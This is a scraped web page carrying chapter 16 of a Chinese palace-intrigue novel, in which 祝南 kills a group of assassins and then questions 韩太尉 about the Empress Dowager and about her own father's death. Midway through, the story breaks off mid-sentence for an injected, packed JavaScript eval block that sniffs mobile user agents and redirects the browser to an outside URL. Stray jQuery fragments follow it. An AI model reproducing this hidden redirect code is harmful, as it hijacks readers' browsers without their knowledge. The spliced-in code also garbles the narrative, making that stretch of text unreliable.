默认冷灰
24号文字
方正启体

16. “你到底想要什么?”

作者:秋水玉骨本书字数:K更新时间:
    “五招之内,我将斩下你的项上人头。”祝南用刀尖指向蒙面黑衣人,直勾勾地盯着他,像是盯着自己的猎物。


    黑衣人顿觉脖颈处一凉,下意识伸手摸了摸自己的后颈,反过来自己的动作之后,有些气急败坏地说:“狂妄至极,你若做得到,便来试试。”


    话虽这么说,黑衣人还是后退几步,直接转身逃跑。


    祝南脚尖点地,如闪电般窜了出去,快到拦在中间的杀手都没反应过来,慌忙抬刀抵挡,然而祝南力气之大,竟将抵挡的刀也一并砍断,一刀封喉。


    “一招。”祝南略过一人,薄唇轻启。


    杀手们反应也很快,纷纷围上去想拦住她,但很快就被木屿和带来的人拦住,有几个漏掉的围攻上来,祝南目不转睛,左右手轮番挥刀。


    “两招。”


    刀刀致命,如切瓜砍菜般硬是将人全部击退。


    “三招。”


    在突出包围之后,祝南终于看到了黑衣人逃跑的背影,此时他快要跑到拐角处了,于是祝南前冲的势头不减反增,几息之间便接近了黑衣人身后。


    黑衣人听见背后惨烈的叫声,心里打鼓,忍不住回头看了一眼,这一看不要紧,直接和祝南面对面,祝南还对他咧嘴一笑。


    黑衣人看着举刀前刺的祝南,瞳孔骤缩,脚下一滑,仰面倒下双手撑地,躲过这个杀招。


    祝南直直从他上方飞过,落地之后立马转身朝黑衣人砍去。


    黑衣人现在手无寸铁,一开始的匕首也被赵琰卸下,眼看着冲过来的祝南,咬牙用匕鞘抵挡,却被一刀砍断。


    “四招。”祝南冰冷的声音响起。


    黑衣人后退几步,看着手里断成两半的匕鞘,满眼震惊,抬头说:“我去通……”报。


    话音未落,他便感觉天旋地转,视线落地之时,看着一具无头尸体脚步踉跄两下,跪倒在地,他人生听见的最后一句话是:


    “五招。”


    祝南挽了圈刀花,将刀上的鲜血甩掉,头也不回地走回去。


    “留个活口。”


    祝南看着这边的战斗也结束的差不多了,急忙出口制止。


    木屿的剑尖堪堪停在最后一个杀手的眉心处,听到祝南的话,手腕翻转收剑入鞘,动作干净利落。


    最后一个杀手握着断刀坐在地上,额头冒汗,不禁咽了口唾沫,看着祝南走来,将断刀扔了,双手举起投降。


    “我刚才的话你应该听见了,有没有兴趣替我传话?”祝南蹲下来与杀手对视,面上带着温和的笑,却把杀手看得冷汗直流。


    眼前这个人,谈笑间杀了他们好几个弟兄。


    “我去…”杀手连连点头。


    “很好,你比他识时务。”祝南大拇指指向不远处身首异处的尸体,而后拍了拍杀手的肩膀,“就说…殿前司副都指挥使祝南前来拜访。”


    杀手继续点头,祝南起身,头偏了偏,示意身后的人给他让路,杀手起来之后提气上墙,连上了两次才上去,惹得下面看热闹的人嘲笑出声。


    等了约有一炷香的时间,这回没有再从墙上飞下来人,而是从街道尽头走来几个人,为首之人,带着面具,只露出一双眼睛,手握着腰间的剑柄,步子沉稳。


    这几人看到头颅掉落的尸体,面无表情地绕过他,像是生怕他的血染脏了自己的鞋底。


    “小公爷。”走到近前之后,面具人竟拱手行礼,朝祝南做了个“请”的手势,“我家主子有请。”


    “烦请带路。”祝南走上前去,身后的人也跟着过去。


    绕过街道走到正门前时,门被打开,面具人率先走过去,祝南跟上,木屿也正欲跟进去,就被门口的护卫拦下。


    “我家主子说了只见小公爷一人。”面具人又开口。


    木屿有些担忧地看着祝南,祝南回以一个安抚的眼神,漫不经心地说:“半个时辰内若我没出来,你们便去请定王殿下和殿帅来替我收尸。”


    木屿点了点头,祝南这才跟着人进去。


    这处宅子占地不小,院子里隔几步便站着带刀的护卫,敛气凝神,目不斜视,祝南心中暗惊,这些人不像普通的护卫,倒更像训练有素的私兵,看来里面的人身份比她想象的还要尊贵。


    一路穿过前院和侧廊,终于到来主院旁的花厅里,花厅周围是雅致的假山小湖,月光和窗户里透出的暖黄色烛光一起洒在湖面上,半冷半热,颇有一番意境。


    屋内传来轻柔的琵琶声,走至门口时,面具人先走进去拱手通报:“主子,人请进来了。”


    “嗯。”


    “小公爷,请。”面具人回来,将祝南请进屋内。


    屋内靠窗安置了张茶桌,一个黑衣的中年男人正跪坐在桌前,头戴方顶下垂幞头,眼睛轻轻闭着,手指放在大腿上打着节拍,一脸惬意的表情。


    祝南跟着走进来,看到坐着的人时瞳孔略微放大,眨眼间又收敛情绪,只是嘴角紧抿,没有了之前的轻松。


    “下官见过韩太尉。”祝南双手交叠,弯腰行了一礼。


    “小公爷不必客气,请坐。”韩闻示意茶桌对面的位置,祝南颔首,上前跪坐在他对面。


    “能在今夜见到小公爷,着实令韩某有些意外。”韩闻举手勾了勾手指,便有人上来替祝南斟茶。


    “能在今夜见到韩太尉,下官才是倍感意外。”祝南笑着回道。


    “说吧,你想要什么。”韩闻也懒得废话,直接了当地问出了疑问。


    “韩太尉如此直接,倒是让下官有些受宠若惊了。”祝南眉头轻挑,今夜的意外太多了。


    “你既带着目的而来,我又何必虚与委蛇?”韩闻笑了笑,端起茶杯喝了一口茶水,而后点了点头,“此茶不错,小公爷合该尝尝。”


    祝南低头看了看面前冒着热气的茶,茶香顺着升起来的雾气,钻进她的鼻腔里,确实是好茶,但她还是婉拒道:“多谢太尉盛情款待,只是下官晚上不喜喝茶。”


    韩闻失笑出声:“倒是不必如此谨慎,毕竟韩某今夜看到小公爷已经甚是惊喜,不想再看见定王和陈指挥使了。”


    祝南但笑不语,还是没有端起茶杯。


    “也罢,还是那句话,说说吧,费劲心思地甩开定王和宋家的小子来见我,你到底想得到什么?”韩闻放下茶杯,表情也有些严肃起来。


    “在此之前,下官想听韩太尉一言。”祝南也敛起笑容,语气有些认真。


    “但说无妨。”


    “此事可与太尉有关?”祝南腰背挺直,直视韩闻。


    韩闻手指敲击着茶桌,有些意外她会这么问,思索片刻后回答:“无关。”


    “那太尉为何不惜脏了自己的手,也要替人善后?”祝南又问。


    “小公爷也在朝中做了好几年的官了,问这种问题,不觉得天真吗?”韩闻反问。


    祝南点头,只是面上有些震惊:“太尉原来是那位手下的人吗?难怪在朝中一直保持中立,不曾站队任何一方。”


    “非也,韩某此生只忠于官家一人。”韩闻摇头。


    祝南皱眉,此人说话怎得前言不搭后语?


    “据下官所知,官家与太后大娘娘的母子之情算不得深厚,甚至在坊间传闻中还有些摩擦,故大娘娘出宫到岳鸣寺里清修两年之久,官家也未曾想过将大娘娘迎回宫中。”


    祝南说着从怀中拿出一方卷起来的帕子,打开之后,里面是条紫色穗子,将它放置在茶桌上,接着说:“太尉既说只忠于官家一人,又为何要帮大娘娘善后呢?”


    韩闻看着桌上的紫


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368243|199834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    色穗子,有些震惊:“此物竟在你手中?”


    “那日救宋大学士的时候,偶然到了我手里。”


    祝南勾唇一笑,此前交给宋靖言的那条紫色穗子,是她让人仿制的,只为了让宋家把事情闹大,逼太后出手,她好趁虚而入。


    “我只能告诉你我不听命于大娘娘,这次行事我自有自己的计较,你信与不信,皆与我无关。”韩闻回答的斩钉截铁。


    “太尉此番行事过于残忍了些,宋大学士已经是废人一个,您还要赶尽杀绝,当真不怕宋御史知道了在朝堂上与您拼命吗?”祝南不解。


    “要怪就怪他看到了不该看的事情,此前推他坠崖并非出于我之手,我只奉命今夜除掉他。”


    “那他身上的毒不是你的手笔?”


    “我还以为中毒是你们放出来的噱头呢,一刀致命给他个痛快岂非更好?何苦用下毒这种阴损的招数,即麻烦了我也让他更加痛苦。”韩闻闻言微愣。


    “毒不是你下的?难道是大娘娘让人下的?”祝南有些诧异。


    “应该不是,大娘娘是昨日消息散出去才找上的我。”韩闻摇头。


    祝南不禁有些汗颜,还有一方势力想要宋靖宇的命,他到底得罪了多少人?


    “今日我将这穗子交给你们,便饶了宋大学士一命罢,现下他已是废人一个,记忆丢失,手上又没有证据,便是说出来也无法对大娘娘造成不利的影响。”祝南叹了口气,“韩太尉,得饶人处且饶人,大娘娘在岳鸣寺清修这么久,当明白这个道理。”


    “我只能尽力劝阻。”韩闻点了点头拿过穗子收起来,在盛京杀人,还是身居高位的朝廷命官,于他来说,风险也极大。


    这件事说完,该切入正题。


    “旁的事说完了,该说我的事了。”祝南正色道,“其实我的要求很简单,大娘娘在岳鸣寺待得够久了,下官希望她老人家能在太子大婚之后轻挪凤体,回到宫中。”


    “就这么简单?”韩闻皱眉,他还以为祝南要狮子大开口呢。


    祝南点了点头。


    韩闻颔首:“可以,此话我会代为转达。”


    “如此,下官便先多谢太尉了,此番多有打搅,今日与太尉相谈甚欢,下次有机会再把酒言欢。”


    祝南站起身来,欲行礼告退,脚步轻抬,还没踏出去又收了回来:“下官斗胆,还想请教太尉一个问题。”


    “讲。”


    “太尉当年与我父亲同朝为官,可曾听闻他得罪过什么人?或是与人结仇?”祝南眸色深沉,一如她此刻的表情,这些年她查了父亲当年在朝中的关系网,没查出他与谁有仇,但却有人害他,那说明朝中应有此人,只是她不知道。


    “你问这个问题,是想替祝戎翻案?”韩闻闻言脸色微变,语气中满是惊疑。


    祝南眼神一亮,这说明她问对了,朝中果然有父亲的仇人。


    “你是不是去朔州的时候查到了些什么?”韩闻追问。


    “太尉只管回答是与不是。”祝南不接他的话茬。


    韩闻沉默半晌,而后摇了摇头:“这个问题我无法回答你。”


    “如此,下官便先告退了。”祝南暗自点头,那便是有,问出了自己想问的问题,这次没有再停留,抬脚就朝门口走去,就在她快踏出门槛的那一刻,韩闻的声音从里面传来。


    “此事我不会说与旁人听,但你若还想为你父亲翻案,那我劝你放弃,否则,便是以卵击石。”


    祝南心里咯噔一下,脚下步子一顿,而后踏出房门:“多谢太尉提醒。”


    一路走出宅子,祝南都有些心神不定,他从韩闻的反应中看出,害死父亲的凶手身份不简单,至少在他之上。


    位列二品以上的官员,勋爵诰命加身,为何要害她父亲?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)